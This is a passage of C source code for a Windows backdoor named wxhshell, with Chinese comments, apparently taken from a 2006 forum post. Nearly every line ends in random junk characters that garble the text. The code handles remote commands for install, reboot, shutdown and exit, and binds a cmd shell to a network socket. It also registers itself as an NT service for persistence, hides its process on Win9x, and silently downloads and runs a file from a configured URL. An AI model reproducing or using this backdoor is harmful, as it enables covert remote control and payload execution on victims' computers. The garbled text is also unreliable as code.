  else { x+TNF>%' D  
?GC0dN  
    switch(cmd[0]) { |}|;OG  
  vZDQ@\HrC  
  // 帮助 j{Fo 6##  
  case '?': { N+V-V-PVk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fIcv}Y  
    break; tj&A@\/  
  } -oo=IUk  
  // 安装 M:SxAo-D2  
  case 'i': { XN0Y#l  
    if(Install()) WE7l[<b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %% >?<4t  
    else Q}T9NzOH%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I(CI')Q  
    break; Mww]l[1'EL  
    } t}FMBG o[  
  // 卸载 T7Ac4LA  
  case 'r': { /YbL{G )j}  
    if(Uninstall()) ZD{srEa/a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F1=+<]!  
    else >D;hT*3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;hvXFU  
    break; u@E M,o  
    } @i h}x  
  // 显示 wxhshell 所在路径 M5V1j(URE  
  case 'p': { 8( D}y\  
    char svExeFile[MAX_PATH]; Mt Z(\&~  
    strcpy(svExeFile,"\n\r"); ]>L]?Rm  
      strcat(svExeFile,ExeFile); +;Gl>$  
        send(wsh,svExeFile,strlen(svExeFile),0); ;^*!<F%t9R  
    break; }BrE|'.j'  
    } @7=D]yu  
  // 重启 b9N4Gr  
  case 'b': { "/fs%F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0)]1)z(P  
    if(Boot(REBOOT)) NLl~/smMS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]mwk~HeF  
    else { 3>" h*U#  
    closesocket(wsh); H=#Jg;_w  
    ExitThread(0); g8"7wf`0k  
    } 2&fwr>!$  
    break; vWH>k+9&X  
    } u&xK>7  
  // 关机 YoJ'=z,e  
  case 'd': { syf"{bBe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |q2lTbJ  
    if(Boot(SHUTDOWN)) QP%Fz#u`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]P$DAi   
    else { ~,68S^nP)H  
    closesocket(wsh); P{!:pxu[  
    ExitThread(0); })lT fy  
    } <WJ0St  
    break; 8M9\<k6  
    } Td1ba^J  
  // 获取shell R?~h7 d  
  case 's': { %i>e  
    CmdShell(wsh); jYX9; C;J  
    closesocket(wsh); !<zzP LC  
    ExitThread(0); JvL'gJ$70  
    break; Q'% o;z*  
  } l6c%_<P|  
  // 退出 YB~t|m65  
  case 'x': { F ^t?*   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !muYn-4M  
    CloseIt(wsh); $3.vVnc  
    break; aSkx#mV  
    } ;sR6dT)  
  // 离开 F ssEs!#  
  case 'q': { NJf(,Mr*|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [Cqqjv;_  
    closesocket(wsh); |cGeL[  
    WSACleanup(); !5%5]9'n@*  
    exit(1); 4t Nvq  
    break; L1kM~M  
        } KzX ,n_`an  
  } Q!Ow{(|  
  } C%_  
_*ou o<x  
  // 提示信息 +^DRto=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uy _i{Y|  
} !x$ :8R  
  } u] U)d$|  
qD;v/,?  
  return; plx/}ah8  
} +lgF/y6  
?QSx8d  
// shell模块句柄 =Xy`"i{`(  
int CmdShell(SOCKET sock) gJ5wAK+?  
{ fb"J Bc}X  
STARTUPINFO si; Bf:tal6 -M  
ZeroMemory(&si,sizeof(si)); P% +or*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D<bU~Gd,P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vDW&pF_eI>  
PROCESS_INFORMATION ProcessInfo; xw+<p  
char cmdline[]="cmd"; gJPDNZ*6pk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5+bFy.UW  
  return 0; G?1x+H;o5  
} WiNr866nB  
PG6L]o^  
// 自身启动模式 oB0 8  
int StartFromService(void) L)/6kt=  
{ >{ECyh;  
typedef struct VXkAFgO  
{ uGa(_ut  
  DWORD ExitStatus; I[=Wmxa?r  
  DWORD PebBaseAddress; Wg` +u  
  DWORD AffinityMask; 0Q$~k  
  DWORD BasePriority; R5K-KSvW  
  ULONG UniqueProcessId; oE!hF}O  
  ULONG InheritedFromUniqueProcessId; &gWMl`3^*!  
}   PROCESS_BASIC_INFORMATION; ApG'jN  
m)@Q_{=6M  
PROCNTQSIP NtQueryInformationProcess; 7sud/*+F  
3s?v(1 {)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v~V;+S=gz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nY{i>Y  
h-r6PY=i  
  HANDLE             hProcess; 0 OAqA?Z  
  PROCESS_BASIC_INFORMATION pbi; wX)efLmyhY  
gH{:`E k7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V< i<0E  
  if(NULL == hInst ) return 0; _8[UtZYG  
>`hSye{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7.Ml9{M/i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pXPqDA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &<gUFcw7Ui  
0 &*P}U}Uc  
  if (!NtQueryInformationProcess) return 0; {A]k%74-a  
oMh~5 W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 20rN,@2<  
  if(!hProcess) return 0; "H5&3sF2  
n 5~=qQK2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v]WH8GI  
=cdh'"XN  
  CloseHandle(hProcess); @Pxw hlxa  
v[R_S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Z U_,[  
if(hProcess==NULL) return 0; $42Au2Jg  
MxY50 ^}(  
HMODULE hMod; C!!mOAhJ  
char procName[255]; tCWJSi`IJ  
unsigned long cbNeeded; =LXvlt'Q34  
L3B8IDq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6RH/V:YY  
Z,0O/RFJ.q  
  CloseHandle(hProcess); UskZ%J  
uDILjOT  
if(strstr(procName,"services")) return 1; // 以服务启动 {B@*DQv  
}l.KpdRT2  
  return 0; // 注册表启动 jEZ "  
} davvI$TA  
s,84*6u  
// 主模块 (-bRj#  
int StartWxhshell(LPSTR lpCmdLine)  pz$_W  
{ clHM8$  
  SOCKET wsl; ZR1+ O 8  
BOOL val=TRUE;  \C|;F  
  int port=0; 0;vtdM[_  
  struct sockaddr_in door; ?Rlgv5P!  
%h0D)6 j  
  if(wscfg.ws_autoins) Install(); 'yE*|Sx  
e:qo_eSC^-  
port=atoi(lpCmdLine); u-lrTa""z  
!{IC[g n  
if(port<=0) port=wscfg.ws_port; ,SAbC*nq  
xYmdCf@H  
  WSADATA data; DK)u)?!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cq gJ  
CP +4k.)*O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6!Qknk$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m+H%g"Zj  
  door.sin_family = AF_INET; }gCG&7C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #`vVg GZ&  
  door.sin_port = htons(port); [4Y[?)7  
VW{,:Ya  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?k"0w)8  
closesocket(wsl); [ qiOd!  
return 1; (JWv *p  
} &1=g A.ZR  
1XCmM Z  
  if(listen(wsl,2) == INVALID_SOCKET) { D 0  
closesocket(wsl); {ZG:M}ieN  
return 1; WI6(#8^p  
} E&'#=K[  
  Wxhshell(wsl); 1ADv?+j)A/  
  WSACleanup(); vuZf#\zh}  
wajZqC2yg  
return 0; p(.N(c  
U3/8A:$y  
} 0:. 6rp  
GJvp{U}y9I  
// 以NT服务方式启动 V(r`.75  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <z',]hy  
{ S4)A6z$  
DWORD   status = 0; "(<%Ua  
  DWORD   specificError = 0xfffffff; 6i| ~7md,  
>d97l&W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SAy{YOLtl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A0OB$OK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %uua_&#)  
  serviceStatus.dwWin32ExitCode     = 0; hD*(AJ  
  serviceStatus.dwServiceSpecificExitCode = 0; '^DUq?E4  
  serviceStatus.dwCheckPoint       = 0; {gw [%[ZM  
  serviceStatus.dwWaitHint       = 0; <}cZi4l'  
} YRO'Q{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aV#h5s  
  if (hServiceStatusHandle==0) return; lM$t!2pRB  
r,0@~;zA  
status = GetLastError(); TVYz3~m  
  if (status!=NO_ERROR) *y?[ <2"$  
{ Sj@15 W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |*ReqM|_C  
    serviceStatus.dwCheckPoint       = 0; :WO{xg  
    serviceStatus.dwWaitHint       = 0; nSHNis  
    serviceStatus.dwWin32ExitCode     = status; jI A#!4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6m@0;Ht  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $cu]_gu  
    return; JL``iA  
  } NZP7r;u  
(Igu:=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /e(W8aszi  
  serviceStatus.dwCheckPoint       = 0; zQ_z7FJCB  
  serviceStatus.dwWaitHint       = 0; 7VY8CcL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yuv4*  
} NNmM#eB:4  
dWUUxKC  
// 处理NT服务事件,比如:启动、停止 WGPD8.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KGD'mByt"  
{ {:$NfW  
switch(fdwControl) c ;^A)_/  
{ 9(Jy0]E~  
case SERVICE_CONTROL_STOP: ;?`@"YG)  
  serviceStatus.dwWin32ExitCode = 0; ]VDn'@uM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W "k| K:  
  serviceStatus.dwCheckPoint   = 0; 4kh8W~i;/  
  serviceStatus.dwWaitHint     = 0; jqtVpNwM  
  { AOAO8%|I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @h9K  
  } qlvwK&W<QM  
  return; fM2^MUp[=1  
case SERVICE_CONTROL_PAUSE: x 'mF&^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WL:0R>0  
  break; 1mix+.d  
case SERVICE_CONTROL_CONTINUE: *6P'q4 )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G1[(F`t>  
  break; [8z&-'J=  
case SERVICE_CONTROL_INTERROGATE: &`@lB (m  
  break; JnHNkCaU  
}; 6n,xH!7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y;eoT J  
} | k}e&Q_/G  
JqSr[q  
// 标准应用程序主函数 _r5wF(Y?7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q:8\ e  
{ B\0t&dai|'  
R[Nbtbv9Q  
// 获取操作系统版本 z7k$0&  
OsIsNt=GetOsVer(); N iISJWk6'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R\y'_S=#a  
R"{l[9j4>  
  // 从命令行安装 IM]h*YV'  
  if(strpbrk(lpCmdLine,"iI")) Install(); aaT5u14%  
Fv@tD4I>  
  // 下载执行文件 7 Kjj?~RA  
if(wscfg.ws_downexe) { x?=B\8m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y!hi"!  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gnv!]c&S>l  
} rKT)!o'  
K:a3+k d  
if(!OsIsNt) { X  Ny Y$  
// 如果时win9x,隐藏进程并且设置为注册表启动 8W$L:{ez  
HideProc(); 0ERsMnU'  
StartWxhshell(lpCmdLine); l=NAq_?N\  
} XmlIj8%9[&  
else =]d^3bqN  
  if(StartFromService()) KC]tY9 FK  
  // 以服务方式启动 ThiN9! Y  
  StartServiceCtrlDispatcher(DispatchTable); k}s+ca!B  
else ^9=4iXd  
  // 普通方式启动 T5q-" W6\  
  StartWxhshell(lpCmdLine); Wp`C:H  
#h{Nz/h+  
return 0; 2NYi-@mr  
}
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只看该作者 1 发表于: 2006-10-10
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